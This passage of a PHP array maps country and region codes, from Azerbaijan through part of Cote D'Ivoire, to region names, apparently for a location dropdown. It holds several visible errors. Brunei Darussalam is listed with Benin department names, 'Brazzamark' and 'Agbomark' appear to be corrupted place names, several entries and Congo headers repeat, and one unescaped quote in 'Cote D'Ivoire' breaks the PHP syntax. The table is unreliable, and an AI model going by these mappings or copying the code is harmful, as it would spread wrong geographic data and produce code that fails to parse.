'AZ-08' => 'Azerbaijan: Astara',
'AZ-09' => 'Azerbaijan: Baki',
'AZ-10' => 'Azerbaijan: Balakan',
'AZ-11' => 'Azerbaijan: Barda',
'AZ-12' => 'Azerbaijan: Beylaqan',
'AZ-13' => 'Azerbaijan: Bilasuvar',
'AZ-14' => 'Azerbaijan: Cabrayil',
'AZ-15' => 'Azerbaijan: Calilabad',
'AZ-16' => 'Azerbaijan: Daskasan',
'AZ-17' => 'Azerbaijan: Davaci',
'AZ-18' => 'Azerbaijan: Fuzuli',
'AZ-19' => 'Azerbaijan: Gadabay',
'AZ-20' => 'Azerbaijan: Ganca',
'AZ-21' => 'Azerbaijan: Goranboy',
'AZ-22' => 'Azerbaijan: Goycay',
'AZ-23' => 'Azerbaijan: Haciqabul',
'AZ-24' => 'Azerbaijan: Imisli',
'AZ-25' => 'Azerbaijan: Ismayilli',
'AZ-26' => 'Azerbaijan: Kalbacar',
'AZ-27' => 'Azerbaijan: Kurdamir',
'AZ-28' => 'Azerbaijan: Lacin',
'AZ-29' => 'Azerbaijan: Lankaran',
'AZ-30' => 'Azerbaijan: Lankaran',
'AZ-31' => 'Azerbaijan: Lerik',
'AZ-32' => 'Azerbaijan: Masalli',
'AZ-33' => 'Azerbaijan: Mingacevir',
'AZ-34' => 'Azerbaijan: Naftalan',
'AZ-35' => 'Azerbaijan: Naxcivan',
'AZ-36' => 'Azerbaijan: Neftcala',
'AZ-37' => 'Azerbaijan: Oguz',
'AZ-38' => 'Azerbaijan: Qabala',
'AZ-39' => 'Azerbaijan: Qax',
'AZ-40' => 'Azerbaijan: Qazax',
'AZ-41' => 'Azerbaijan: Qobustan',
'AZ-42' => 'Azerbaijan: Quba',
'AZ-43' => 'Azerbaijan: Qubadli',
'AZ-44' => 'Azerbaijan: Qusar',
'AZ-45' => 'Azerbaijan: Saatli',
'AZ-46' => 'Azerbaijan: Sabirabad',
'AZ-47' => 'Azerbaijan: Saki',
'AZ-48' => 'Azerbaijan: Saki',
'AZ-49' => 'Azerbaijan: Salyan',
'AZ-50' => 'Azerbaijan: Samaxi',
'AZ-51' => 'Azerbaijan: Samkir',
'AZ-52' => 'Azerbaijan: Samux',
'AZ-53' => 'Azerbaijan: Siyazan',
'AZ-54' => 'Azerbaijan: Sumqayit',
'AZ-55' => 'Azerbaijan: Susa',
'AZ-56' => 'Azerbaijan: Susa',
'AZ-57' => 'Azerbaijan: Tartar',
'AZ-58' => 'Azerbaijan: Tovuz',
'AZ-59' => 'Azerbaijan: Ucar',
'AZ-60' => 'Azerbaijan: Xacmaz',
'AZ-61' => 'Azerbaijan: Xankandi',
'AZ-62' => 'Azerbaijan: Xanlar',
'AZ-63' => 'Azerbaijan: Xizi',
'AZ-64' => 'Azerbaijan: Xocali',
'AZ-65' => 'Azerbaijan: Xocavand',
'AZ-66' => 'Azerbaijan: Yardimli',
'AZ-67' => 'Azerbaijan: Yevlax',
'AZ-68' => 'Azerbaijan: Yevlax',
'AZ-69' => 'Azerbaijan: Zangilan',
'AZ-70' => 'Azerbaijan: Zaqatala',
'AZ-71' => 'Azerbaijan: Zardab',
'--BS' => '','-BS' =>
'Bahamas',
'BS-24' => 'Bahamas: Acklins and Crooked Islands',
'BS-05' => 'Bahamas: Bimini',
'BS-06' => 'Bahamas: Cat Island',
'BS-10' => 'Bahamas: Exuma',
'BS-25' => 'Bahamas: Freeport',
'BS-26' => 'Bahamas: Fresh Creek',
'BS-27' => 'Bahamas: Governor\'s Harbour',
'BS-28' => 'Bahamas: Green Turtle Cay',
'BS-22' => 'Bahamas: Harbour Island',
'BS-29' => 'Bahamas: High Rock',
'BS-13' => 'Bahamas: Inagua',
'BS-30' => 'Bahamas: Kemps Bay',
'BS-15' => 'Bahamas: Long Island',
'BS-31' => 'Bahamas: Marsh Harbour',
'BS-16' => 'Bahamas: Mayaguana',
'BS-23' => 'Bahamas: New Providence',
'BS-32' => 'Bahamas: Nichollstown and Berry
Islands',
'BS-18' => 'Bahamas: Ragged Island',
'BS-33' => 'Bahamas: Rock Sound',
'BS-35' => 'Bahamas: San Salvador and Rum Cay',
'BS-34' => 'Bahamas: Sandy Point',
'--BH' => '','-BH' =>
'Bahrain',
'BH-01' => 'Bahrain: Al Hadd',
'BH-02' => 'Bahrain: Al Manamah',
'BH-08' => 'Bahrain: Al Mintaqah al Gharbiyah',
'BH-11' => 'Bahrain: Al Mintaqah al Wusta',
'BH-10' => 'Bahrain: Al Mintaqah ash Shamaliyah',
'BH-03' => 'Bahrain: Al Muharraq',
'BH-13' => 'Bahrain: Ar Rifa',
'BH-05' => 'Bahrain: Jidd Hafs',
'BH-14' => 'Bahrain: Madinat Hamad',
'BH-12' => 'Bahrain: Madinat',
'BH-09' => 'Bahrain: Mintaqat Juzur Hawar',
'BH-06' => 'Bahrain: Sitrah',
'--BD' => '','-BD' =>
'Bangladesh',
'BD-22' => 'Bangladesh: Bagerhat',
'BD-04' => 'Bangladesh: Bandarban',
'BD-25' => 'Bangladesh: Barguna',
'BD-01' => 'Bangladesh: Barisal',
'BD-23' => 'Bangladesh: Bhola',
'BD-24' => 'Bangladesh: Bogra',
'BD-26' => 'Bangladesh: Brahmanbaria',
'BD-27' => 'Bangladesh: Chandpur',
'BD-28' => 'Bangladesh: Chapai Nawabganj',
'BD-29' => 'Bangladesh: Chattagram',
'BD-30' => 'Bangladesh: Chuadanga',
'BD-05' => 'Bangladesh: Comilla',
'BD-31' => 'Bangladesh: Cox\'s Bazar',
'BD-32' => 'Bangladesh: Dhaka',
'BD-33' => 'Bangladesh: Dinajpur',
'BD-34' => 'Bangladesh: Faridpur',
'BD-35' => 'Bangladesh: Feni',
'BD-36' => 'Bangladesh: Gaibandha',
'BD-37' => 'Bangladesh: Gazipur',
'BD-38' => 'Bangladesh: Gopalganj',
'BD-39' => 'Bangladesh: Habiganj',
'BD-40' => 'Bangladesh: Jaipurhat',
'BD-41' => 'Bangladesh: Jamalpur',
'BD-42' => 'Bangladesh: Jessore',
'BD-43' => 'Bangladesh: Jhalakati',
'BD-44' => 'Bangladesh: Jhenaidah',
'BD-45' => 'Bangladesh: Khagrachari',
'BD-46' => 'Bangladesh: Khulna',
'BD-47' => 'Bangladesh: Kishorganj',
'BD-48' => 'Bangladesh: Kurigram',
'BD-49' => 'Bangladesh: Kushtia',
'BD-50' => 'Bangladesh: Laksmipur',
'BD-51' => 'Bangladesh: Lalmonirhat',
'BD-52' => 'Bangladesh: Madaripur',
'BD-53' => 'Bangladesh: Magura',
'BD-54' => 'Bangladesh: Manikganj',
'BD-55' => 'Bangladesh: Meherpur',
'BD-56' => 'Bangladesh: Moulavibazar',
'BD-57' => 'Bangladesh: Munshiganj',
'BD-12' => 'Bangladesh: Mymensingh',
'BD-58' => 'Bangladesh: Naogaon',
'BD-59' => 'Bangladesh: Narail',
'BD-60' => 'Bangladesh: Narayanganj',
'BD-61' => 'Bangladesh: Narsingdi',
'BD-62' => 'Bangladesh: Nator',
'BD-63' => 'Bangladesh: Netrakona',
'BD-64' => 'Bangladesh: Nilphamari',
'BD-13' => 'Bangladesh: Noakhali',
'BD-65' => 'Bangladesh: Pabna',
'BD-66' => 'Bangladesh: Panchagar',
'BD-67' => 'Bangladesh: Parbattya Chattagram',
'BD-15' => 'Bangladesh: Patuakhali',
'BD-68' => 'Bangladesh: Pirojpur',
'BD-69' => 'Bangladesh: Rajbari',
'BD-70' => 'Bangladesh: Rajshahi',
'BD-71' => 'Bangladesh: Rangpur',
'BD-72' => 'Bangladesh: Satkhira',
'BD-73' => 'Bangladesh: Shariyatpur',
'BD-74' => 'Bangladesh: Sherpur',
'BD-75' => 'Bangladesh: Sirajganj',
'BD-76' => 'Bangladesh: Sunamganj',
'BD-77' => 'Bangladesh: Sylhet',
'BD-78' => 'Bangladesh: Tangail',
'BD-79' => 'Bangladesh: Thakurgaon',
'--BB' => '','-BB' =>
'Barbados',
'BB-01' => 'Barbados: Christ Church',
'BB-02' => 'Barbados: Saint Andrew',
'BB-03' => 'Barbados: Saint George',
'BB-04' => 'Barbados: Saint James',
'BB-05' => 'Barbados: Saint John',
'BB-06' => 'Barbados: Saint Joseph',
'BB-07' => 'Barbados: Saint Lucy',
'BB-08' => 'Barbados: Saint Michael',
'BB-09' => 'Barbados: Saint Peter',
'BB-10' => 'Barbados: Saint Philip',
'BB-11' => 'Barbados: Saint Thomas',
'--BY' => '','-BY' =>
'Belarus',
'BY-01' => 'Belarus: Brestskaya Voblasts\'',
'BY-02' => 'Belarus: Homyel\'skaya
Voblasts\'',
'BY-03' => 'Belarus: Hrodzyenskaya Voblasts\'',
'BY-06' => 'Belarus: Mahilyowskaya Voblasts\'',
'BY-04' => 'Belarus: Minsk',
'BY-05' => 'Belarus: Minskaya Voblasts\'',
'BY-07' => 'Belarus: Vitsyebskaya Voblasts\'',
'--BE' => '','-BE' =>
'Belgium',
'BE-01' => 'Belgium: Antwerpen',
'BE-10' => 'Belgium: Brabant Wallon',
'BE-02' => 'Belgium: Brabant',
'BE-11' => 'Belgium: Brussels Hoofdstedelijk
Gewest',
'BE-03' => 'Belgium: Hainaut',
'BE-04' => 'Belgium: Liege',
'BE-05' => 'Belgium: Limburg',
'BE-06' => 'Belgium: Luxembourg',
'BE-07' => 'Belgium: Namur',
'BE-08' => 'Belgium: Oost-Vlaanderen',
'BE-12' => 'Belgium: Vlaams-Brabant',
'BE-09' => 'Belgium: West-Vlaanderen',
'--BZ' => '','-BZ' =>
'Belize',
'BZ-01' => 'Belize: Belize',
'BZ-02' => 'Belize: Cayo',
'BZ-03' => 'Belize: Corozal',
'BZ-04' => 'Belize: Orange Walk',
'BZ-05' => 'Belize: Stann Creek',
'BZ-06' => 'Belize: Toledo',
'--BJ' => '','-BJ' =>
'Benin',
'BJ-01' => 'Benin: Atakora',
'BJ-02' => 'Benin: Atlantique',
'BJ-03' => 'Benin: Borgou',
'BJ-04' => 'Benin: Mono',
'BJ-05' => 'Benin: Oueme',
'BJ-06' => 'Benin: Zou',
'--BM' => '','-BM' =>
'Bermuda',
'BM-01' => 'Bermuda: Devonshire',
'BM-02' => 'Bermuda: Hamilton',
'BM-03' => 'Bermuda: Hamilton',
'BM-04' => 'Bermuda: Paget',
'BM-05' => 'Bermuda: Pembroke',
'BM-06' => 'Bermuda: Saint George',
'BM-07' => 'Bermuda: Saint George\'s',
'BM-08' => 'Bermuda: Sandys',
'BM-09' => 'Bermuda: Smiths',
'BM-10' => 'Bermuda: Southampton',
'BM-11' => 'Bermuda: Warwick',
'--BT' => '','-BT' =>
'Bhutan',
'BT-05' => 'Bhutan: Bumthang',
'BT-06' => 'Bhutan: Chhukha',
'BT-07' => 'Bhutan: Chirang',
'BT-08' => 'Bhutan: Daga',
'BT-09' => 'Bhutan: Geylegphug',
'BT-10' => 'Bhutan: Ha',
'BT-11' => 'Bhutan: Lhuntshi',
'BT-12' => 'Bhutan: Mongar',
'BT-13' => 'Bhutan: Paro',
'BT-14' => 'Bhutan: Pemagatsel',
'BT-15' => 'Bhutan: Punakha',
'BT-16' => 'Bhutan: Samchi',
'BT-17' => 'Bhutan: Samdrup',
'BT-18' => 'Bhutan: Shemgang',
'BT-19' => 'Bhutan: Tashigang',
'BT-20' => 'Bhutan: Thimphu',
'BT-21' => 'Bhutan: Tongsa',
'BT-22' => 'Bhutan: Wangdi Phodrang',
'--BO' => '','-BO' =>
'Bolivia',
'BO-01' => 'Bolivia: Chuquisaca',
'BO-02' => 'Bolivia: Cochabamba',
'BO-03' => 'Bolivia: El Beni',
'BO-04' => 'Bolivia: La Paz',
'BO-05' => 'Bolivia: Oruro',
'BO-06' => 'Bolivia: Pando',
'BO-07' => 'Bolivia: Potosi',
'BO-08' => 'Bolivia: Santa Cruz',
'BO-09' => 'Bolivia: Tarija',
'--BA' => '','-BA' => 'Bosnia and
Herzegovina',
'BA-01' => 'Bosnia and Herzegovina: Federation of Bosnia
and Herzegovina',
'BA-02' => 'Bosnia and Herzegovina: Republika
Srpska',
'--BW' => '','-BW' =>
'Botswana',
'BW-01' => 'Botswana: Central',
'BW-02' => 'Botswana: Chobe',
'BW-03' => 'Botswana: Ghanzi',
'BW-04' => 'Botswana: Kgalagadi',
'BW-05' => 'Botswana: Kgatleng',
'BW-06' => 'Botswana: Kweneng',
'BW-07' => 'Botswana: Ngamiland',
'BW-08' => 'Botswana: North-East',
'BW-09' => 'Botswana: South-East',
'BW-10' => 'Botswana: Southern',
'--BR' => '','-BR' =>
'Brazil',
'BR-01' => 'Brazil: Acre',
'BR-02' => 'Brazil: Alagoas',
'BR-03' => 'Brazil: Amapa',
'BR-04' => 'Brazil: Amazonas',
'BR-05' => 'Brazil: Bahia',
'BR-06' => 'Brazil: Ceara',
'BR-07' => 'Brazil: Distrito Federal',
'BR-08' => 'Brazil: Espirito Santo',
'BR-29' => 'Brazil: Goias',
'BR-13' => 'Brazil: Maranhao',
'BR-11' => 'Brazil: Mato Grosso do Sul',
'BR-14' => 'Brazil: Mato Grosso',
'BR-15' => 'Brazil: Minas Gerais',
'BR-16' => 'Brazil: Para',
'BR-17' => 'Brazil: Paraiba',
'BR-18' => 'Brazil: Parana',
'BR-30' => 'Brazil: Pernambuco',
'BR-20' => 'Brazil: Piaui',
'BR-21' => 'Brazil: Rio de Janeiro',
'BR-22' => 'Brazil: Rio Grande do Norte',
'BR-23' => 'Brazil: Rio Grande do Sul',
'BR-24' => 'Brazil: Rondonia',
'BR-25' => 'Brazil: Roraima',
'BR-26' => 'Brazil: Santa Catarina',
'BR-27' => 'Brazil: Sao Paulo',
'BR-28' => 'Brazil: Sergipe',
'BR-31' => 'Brazil: Tocantins',
'--BN' => '','-BN' => 'Brunei
Darussalam',
'BN-07' => 'Brunei Darussalam: Alibori',
'BN-08' => 'Brunei Darussalam: Belait',
'BN-09' => 'Brunei Darussalam: Brunei and Muara',
'BN-11' => 'Brunei Darussalam: Collines',
'BN-13' => 'Brunei Darussalam: Donga',
'BN-12' => 'Brunei Darussalam: Kouffo',
'BN-14' => 'Brunei Darussalam: Littoral',
'BN-16' => 'Brunei Darussalam: Oueme',
'BN-17' => 'Brunei Darussalam: Plateau',
'BN-10' => 'Brunei Darussalam: Temburong',
'BN-15' => 'Brunei Darussalam: Tutong',
'BN-18' => 'Brunei Darussalam: Zou',
'--BG' => '','-BG' =>
'Bulgaria',
'BG-38' => 'Bulgaria: Blagoevgrad',
'BG-39' => 'Bulgaria: Burgas',
'BG-40' => 'Bulgaria: Dobrich',
'BG-41' => 'Bulgaria: Gabrovo',
'BG-42' => 'Bulgaria: Grad Sofiya',
'BG-43' => 'Bulgaria: Khaskovo',
'BG-44' => 'Bulgaria: Kurdzhali',
'BG-45' => 'Bulgaria: Kyustendil',
'BG-46' => 'Bulgaria: Lovech',
'BG-33' => 'Bulgaria: Mikhaylovgrad',
'BG-47' => 'Bulgaria: Montana',
'BG-48' => 'Bulgaria: Pazardzhik',
'BG-49' => 'Bulgaria: Pernik',
'BG-50' => 'Bulgaria: Pleven',
'BG-51' => 'Bulgaria: Plovdiv',
'BG-52' => 'Bulgaria: Razgrad',
'BG-53' => 'Bulgaria: Ruse',
'BG-54' => 'Bulgaria: Shumen',
'BG-55' => 'Bulgaria: Silistra',
'BG-56' => 'Bulgaria: Sliven',
'BG-57' => 'Bulgaria: Smolyan',
'BG-58' => 'Bulgaria: Sofiya',
'BG-59' => 'Bulgaria: Stara Zagora',
'BG-60' => 'Bulgaria: Turgovishte',
'BG-61' => 'Bulgaria: Varna',
'BG-62' => 'Bulgaria: Veliko Turnovo',
'BG-63' => 'Bulgaria: Vidin',
'BG-64' => 'Bulgaria: Vratsa',
'BG-65' => 'Bulgaria: Yambol',
'--BF' => '','-BF' => 'Burkina
Faso',
'BF-45' => 'Burkina Faso: Bale',
'BF-15' => 'Burkina Faso: Bam',
'BF-46' => 'Burkina Faso: Banwa',
'BF-47' => 'Burkina Faso: Bazega',
'BF-48' => 'Burkina Faso: Bougouriba',
'BF-49' => 'Burkina Faso: Boulgou',
'BF-19' => 'Burkina Faso: Boulkiemde',
'BF-20' => 'Burkina Faso: Ganzourgou',
'BF-21' => 'Burkina Faso: Gnagna',
'BF-50' => 'Burkina Faso: Gourma',
'BF-51' => 'Burkina Faso: Houet',
'BF-52' => 'Burkina Faso: Ioba',
'BF-53' => 'Burkina Faso: Kadiogo',
'BF-54' => 'Burkina Faso: Kenedougou',
'BF-55' => 'Burkina Faso: Komoe',
'BF-56' => 'Burkina Faso: Komondjari',
'BF-57' => 'Burkina Faso: Kompienga',
'BF-58' => 'Burkina Faso: Kossi',
'BF-59' => 'Burkina Faso: Koulpelogo',
'BF-28' => 'Burkina Faso: Kouritenga',
'BF-60' => 'Burkina Faso: Kourweogo',
'BF-61' => 'Burkina Faso: Leraba',
'BF-62' => 'Burkina Faso: Loroum',
'BF-63' => 'Burkina Faso: Mouhoun',
'BF-64' => 'Burkina Faso: Namentenga',
'BF-65' => 'Burkina Faso: Naouri',
'BF-66' => 'Burkina Faso: Nayala',
'BF-67' => 'Burkina Faso: Noumbiel',
'BF-68' => 'Burkina Faso: Oubritenga',
'BF-33' => 'Burkina Faso: Oudalan',
'BF-34' => 'Burkina Faso: Passore',
'BF-69' => 'Burkina Faso: Poni',
'BF-36' => 'Burkina Faso: Sanguie',
'BF-70' => 'Burkina Faso: Sanmatenga',
'BF-71' => 'Burkina Faso: Seno',
'BF-72' => 'Burkina Faso: Sissili',
'BF-40' => 'Burkina Faso: Soum',
'BF-73' => 'Burkina Faso: Sourou',
'BF-42' => 'Burkina Faso: Tapoa',
'BF-74' => 'Burkina Faso: Tuy',
'BF-75' => 'Burkina Faso: Yagha',
'BF-76' => 'Burkina Faso: Yatenga',
'BF-77' => 'Burkina Faso: Ziro',
'BF-78' => 'Burkina Faso: Zondoma',
'BF-44' => 'Burkina Faso: Zoundweogo',
'--BI' => '','-BI' =>
'Burundi',
'BI-09' => 'Burundi: Bubanza',
'BI-02' => 'Burundi: Bujumbura',
'BI-10' => 'Burundi: Bururi',
'BI-11' => 'Burundi: Cankuzo',
'BI-12' => 'Burundi: Cibitoke',
'BI-13' => 'Burundi: Gitega',
'BI-14' => 'Burundi: Karuzi',
'BI-15' => 'Burundi: Kayanza',
'BI-16' => 'Burundi: Kirundo',
'BI-17' => 'Burundi: Makamba',
'BI-22' => 'Burundi: Muramvya',
'BI-18' => 'Burundi: Muyinga',
'BI-23' => 'Burundi: Mwaro',
'BI-19' => 'Burundi: Ngozi',
'BI-20' => 'Burundi: Rutana',
'BI-21' => 'Burundi: Ruyigi',
'--KH' => '','-KH' =>
'Cambodia',
'KH-29' => 'Cambodia: Batdambang',
'KH-02' => 'Cambodia: Kampong Cham',
'KH-03' => 'Cambodia: Kampong Chhnang',
'KH-04' => 'Cambodia: Kampong Spoe',
'KH-05' => 'Cambodia: Kampong Thum',
'KH-06' => 'Cambodia: Kampot',
'KH-07' => 'Cambodia: Kandal',
'KH-08' => 'Cambodia: Kaoh Kong',
'KH-09' => 'Cambodia: Kracheh',
'KH-10' => 'Cambodia: Mondol Kiri',
'KH-30' => 'Cambodia: Pailin',
'KH-11' => 'Cambodia: Phnum Penh',
'KH-12' => 'Cambodia: Pouthisat',
'KH-13' => 'Cambodia: Preah Vihear',
'KH-14' => 'Cambodia: Prey Veng',
'KH-15' => 'Cambodia: Rotanokiri',
'KH-16' => 'Cambodia: Siemreab-Otdar Meanchey',
'KH-17' => 'Cambodia: Stoeng Treng',
'KH-18' => 'Cambodia: Svay Rieng',
'KH-19' => 'Cambodia: Takev',
'--CM' => '','-CM' =>
'Cameroon',
'CM-10' => 'Cameroon: Adamaoua',
'CM-11' => 'Cameroon: Centre',
'CM-04' => 'Cameroon: Est',
'CM-12' => 'Cameroon: Extreme-Nord',
'CM-05' => 'Cameroon: Littoral',
'CM-13' => 'Cameroon: Nord',
'CM-07' => 'Cameroon: Nord-Ouest',
'CM-08' => 'Cameroon: Ouest',
'CM-14' => 'Cameroon: Sud',
'CM-09' => 'Cameroon: Sud-Ouest',
'--CA' => '','-CA' =>
'Canada',
'CA-AB' => 'Canada: Alberta',
'CA-BC' => 'Canada: British Columbia',
'CA-MB' => 'Canada: Manitoba',
'CA-NB' => 'Canada: New Brunswick',
'CA-NL' => 'Canada: Newfoundland',
'CA-NT' => 'Canada: Northwest Territories',
'CA-NS' => 'Canada: Nova Scotia',
'CA-NU' => 'Canada: Nunavut',
'CA-ON' => 'Canada: Ontario',
'CA-PE' => 'Canada: Prince Edward Island',
'CA-QC' => 'Canada: Quebec',
'CA-SK' => 'Canada: Saskatchewan',
'CA-YT' => 'Canada: Yukon Territory',
'--CV' => '','-CV' => 'Cape
Verde',
'CV-01' => 'Cape Verde: Boa Vista',
'CV-02' => 'Cape Verde: Brava',
'CV-04' => 'Cape Verde: Maio',
'CV-13' => 'Cape Verde: Mosteiros',
'CV-05' => 'Cape Verde: Paul',
'CV-14' => 'Cape Verde: Praia',
'CV-07' => 'Cape Verde: Ribeira Grande',
'CV-08' => 'Cape Verde: Sal',
'CV-15' => 'Cape Verde: Santa Catarina',
'CV-16' => 'Cape Verde: Santa Cruz',
'CV-17' => 'Cape Verde: Sao Domingos',
'CV-18' => 'Cape Verde: Sao Filipe',
'CV-19' => 'Cape Verde: Sao Miguel',
'CV-10' => 'Cape Verde: Sao Nicolau',
'CV-11' => 'Cape Verde: Sao Vicente',
'CV-20' => 'Cape Verde: Tarrafal',
'--KY' => '','-KY' => 'Cayman
Islands',
'KY-01' => 'Cayman Islands: Creek',
'KY-02' => 'Cayman Islands: Eastern',
'KY-03' => 'Cayman Islands: Midland',
'KY-04' => 'Cayman Islands: South Town',
'KY-05' => 'Cayman Islands: Spot Bay',
'KY-06' => 'Cayman Islands: Stake Bay',
'KY-07' => 'Cayman Islands: West End',
'KY-08' => 'Cayman Islands: Western',
'--CF' => '','-CF' => 'Central
African Republic',
'CF-01' => 'Central African Republic:
Bamingui-Bangoran',
'CF-18' => 'Central African Republic: Bangui',
'CF-02' => 'Central African Republic: Basse-Kotto',
'CF-03' => 'Central African Republic: Haute-Kotto',
'CF-05' => 'Central African Republic: Haut-Mbomou',
'CF-06' => 'Central African Republic: Kemo',
'CF-07' => 'Central African Republic: Lobaye',
'CF-04' => 'Central African Republic:
Mambere-Kadei',
'CF-08' => 'Central African Republic: Mbomou',
'CF-15' => 'Central African Republic: Nana-Grebizi',
'CF-09' => 'Central African Republic: Nana-Mambere',
'CF-17' => 'Central African Republic:
Ombella-Mpoko',
'CF-11' => 'Central African Republic: Ouaka',
'CF-12' => 'Central African Republic: Ouham',
'CF-13' => 'Central African Republic: Ouham-Pende',
'CF-16' => 'Central African Republic:
Sangha-Mbaere',
'CF-14' => 'Central African Republic: Vakaga',
'--TD' => '','-TD' => 'Chad',
'TD-01' => 'Chad: Batha',
'TD-02' => 'Chad: Biltine',
'TD-03' => 'Chad: Borkou-Ennedi-Tibesti',
'TD-04' => 'Chad: Chari-Baguirmi',
'TD-05' => 'Chad: Guera',
'TD-06' => 'Chad: Kanem',
'TD-07' => 'Chad: Lac',
'TD-08' => 'Chad: Logone Occidental',
'TD-09' => 'Chad: Logone Oriental',
'TD-10' => 'Chad: Mayo-Kebbi',
'TD-11' => 'Chad: Moyen-Chari',
'TD-12' => 'Chad: Ouaddai',
'TD-13' => 'Chad: Salamat',
'TD-14' => 'Chad: Tandjile',
'--CL' => '','-CL' =>
'Chile',
'CL-02' => 'Chile: Aisen del General Carlos Ibanez del
Campo',
'CL-03' => 'Chile: Antofagasta',
'CL-04' => 'Chile: Araucania',
'CL-05' => 'Chile: Atacama',
'CL-06' => 'Chile: Bio-Bio',
'CL-07' => 'Chile: Coquimbo',
'CL-08' => 'Chile: Libertador General Bernardo
O\'Higgins',
'CL-09' => 'Chile: Los Lagos',
'CL-10' => 'Chile: Magallanes y de la Antartica
Chilena',
'CL-11' => 'Chile: Maule',
'CL-12' => 'Chile: Region Metropolitana',
'CL-13' => 'Chile: Tarapaca',
'CL-01' => 'Chile: Valparaiso',
'--CN' => '','-CN' =>
'China',
'CN-01' => 'China: Anhui',
'CN-22' => 'China: Beijing',
'CN-33' => 'China: Chongqing',
'CN-07' => 'China: Fujian',
'CN-15' => 'China: Gansu',
'CN-30' => 'China: Guangdong',
'CN-16' => 'China: Guangxi',
'CN-18' => 'China: Guizhou',
'CN-31' => 'China: Hainan',
'CN-10' => 'China: Hebei',
'CN-08' => 'China: Heilongjiang',
'CN-09' => 'China: Henan',
'CN-12' => 'China: Hubei',
'CN-11' => 'China: Hunan',
'CN-04' => 'China: Jiangsu',
'CN-03' => 'China: Jiangxi',
'CN-05' => 'China: Jilin',
'CN-19' => 'China: Liaoning',
'CN-20' => 'China: Nei Mongol',
'CN-21' => 'China: Ningxia',
'CN-06' => 'China: Qinghai',
'CN-26' => 'China: Shaanxi',
'CN-25' => 'China: Shandong',
'CN-23' => 'China: Shanghai',
'CN-24' => 'China: Shanxi',
'CN-32' => 'China: Sichuan',
'CN-28' => 'China: Tianjin',
'CN-13' => 'China: Xinjiang',
'CN-14' => 'China: Xizang',
'CN-29' => 'China: Yunnan',
'CN-02' => 'China: Zhejiang',
'--CO' => '','-CO' =>
'Colombia',
'CO-01' => 'Colombia: Amazonas',
'CO-02' => 'Colombia: Antioquia',
'CO-03' => 'Colombia: Arauca',
'CO-04' => 'Colombia: Atlantico',
'CO-35' => 'Colombia: Bolivar',
'CO-36' => 'Colombia: Boyaca',
'CO-37' => 'Colombia: Caldas',
'CO-08' => 'Colombia: Caqueta',
'CO-32' => 'Colombia: Casanare',
'CO-09' => 'Colombia: Cauca',
'CO-10' => 'Colombia: Cesar',
'CO-11' => 'Colombia: Choco',
'CO-12' => 'Colombia: Cordoba',
'CO-33' => 'Colombia: Cundinamarca',
'CO-34' => 'Colombia: Distrito Especial',
'CO-15' => 'Colombia: Guainia',
'CO-14' => 'Colombia: Guaviare',
'CO-16' => 'Colombia: Huila',
'CO-17' => 'Colombia: La Guajira',
'CO-38' => 'Colombia: Magdalena',
'CO-19' => 'Colombia: Meta',
'CO-20' => 'Colombia: Narino',
'CO-21' => 'Colombia: Norte de Santander',
'CO-22' => 'Colombia: Putumayo',
'CO-23' => 'Colombia: Quindio',
'CO-24' => 'Colombia: Risaralda',
'CO-25' => 'Colombia: San Andres y Providencia',
'CO-26' => 'Colombia: Santander',
'CO-27' => 'Colombia: Sucre',
'CO-28' => 'Colombia: Tolima',
'CO-29' => 'Colombia: Valle del Cauca',
'CO-30' => 'Colombia: Vaupes',
'CO-31' => 'Colombia: Vichada',
'--KM' => '','-KM' =>
'Comoros',
'KM-01' => 'Comoros: Anjouan',
'KM-02' => 'Comoros: Grande Comore',
'KM-03' => 'Comoros: Moheli',
'--CD' => '','-CD' =>
'Congo',
'CD-01' => 'Congo: Bandundu',
'CD-08' => 'Congo: Bas-Congo',
'--CG' => '','-CG' =>
'Congo',
'CG-01' => 'Congo: Bouenza',
'CG-12' => 'Congo: Brazzamark',
'CG-03' => 'Congo: Cuvette',
'--CD' => '','-CD' =>
'Congo',
'CD-02' => 'Congo: Equateur',
'CD-03' => 'Congo: Kasai-Occidental',
'CD-04' => 'Congo: Kasai-Oriental',
'CD-05' => 'Congo: Katanga',
'CD-06' => 'Congo: Kinshasa',
'CD-07' => 'Congo: Kivu',
'--CG' => '','-CG' =>
'Congo',
'CG-04' => 'Congo: Kouilou',
'CG-05' => 'Congo: Lekoumou',
'CG-06' => 'Congo: Likouala',
'--CD' => '','-CD' =>
'Congo',
'CD-10' => 'Congo: Maniema',
'--CG' => '','-CG' =>
'Congo',
'CG-07' => 'Congo: Niari',
'--CD' => '','-CD' =>
'Congo',
'CD-11' => 'Congo: Nord-Kivu',
'CD-09' => 'Congo: Orientale',
'--CG' => '','-CG' =>
'Congo',
'CG-08' => 'Congo: Plateaux',
'CG-11' => 'Congo: Pool',
'CG-10' => 'Congo: Sangha',
'--CD' => '','-CD' =>
'Congo',
'CD-12' => 'Congo: Sud-Kivu',
'--CR' => '','-CR' => 'Costa
Rica',
'CR-01' => 'Costa Rica: Alajuela',
'CR-02' => 'Costa Rica: Cartago',
'CR-03' => 'Costa Rica: Guanacaste',
'CR-04' => 'Costa Rica: Heredia',
'CR-06' => 'Costa Rica: Limon',
'CR-07' => 'Costa Rica: Puntarenas',
'CR-08' => 'Costa Rica: San Jose',
'--CI' => '','-CI' => 'Cote
D'Ivoire',
'CI-01' => 'Cote D\'Ivoire: Abengourou',
'CI-61' => 'Cote D\'Ivoire: Abidjan',
'CI-62' => 'Cote D\'Ivoire: Aboisso',
'CI-63' => 'Cote D\'Ivoire: Adiake',
'CI-05' => 'Cote D\'Ivoire: Adzope',
'CI-06' => 'Cote D\'Ivoire: Agbomark',
'CI-64' => 'Cote D\'Ivoire: Alepe',
'CI-36' => 'Cote D\'Ivoire: Bangolo',
'CI-37' => 'Cote D\'Ivoire: Beoumi',
'CI-07' => 'Cote D\'Ivoire: Biankouma',
'CI-65' => 'Cote D\'Ivoire: Bocanda',
'CI-38' => 'Cote D\'Ivoire: Bondoukou',
'CI-27' => 'Cote D\'Ivoire: Bongouanou',
'CI-39' => 'Cote D\'Ivoire: Bouafle',
'CI-40' => 'Cote D\'Ivoire: Bouake',
'CI-11' => 'Cote D\'Ivoire: Bouna',
'CI-12' => 'Cote D\'Ivoire: Boundiali',
'CI-03' => 'Cote D\'Ivoire: Dabakala',
'CI-66' => 'Cote D\'Ivoire: Dabou',
'CI-41' => 'Cote D\'Ivoire: Daloa',
'CI-14' => 'Cote D\'Ivoire: Danane',
'CI-42' => 'Cote D\'Ivoire: Daoukro',
'CI-67' => 'Cote D\'Ivoire: Dimbokro',
'CI-16' => 'Cote D\'Ivoire: Divo',
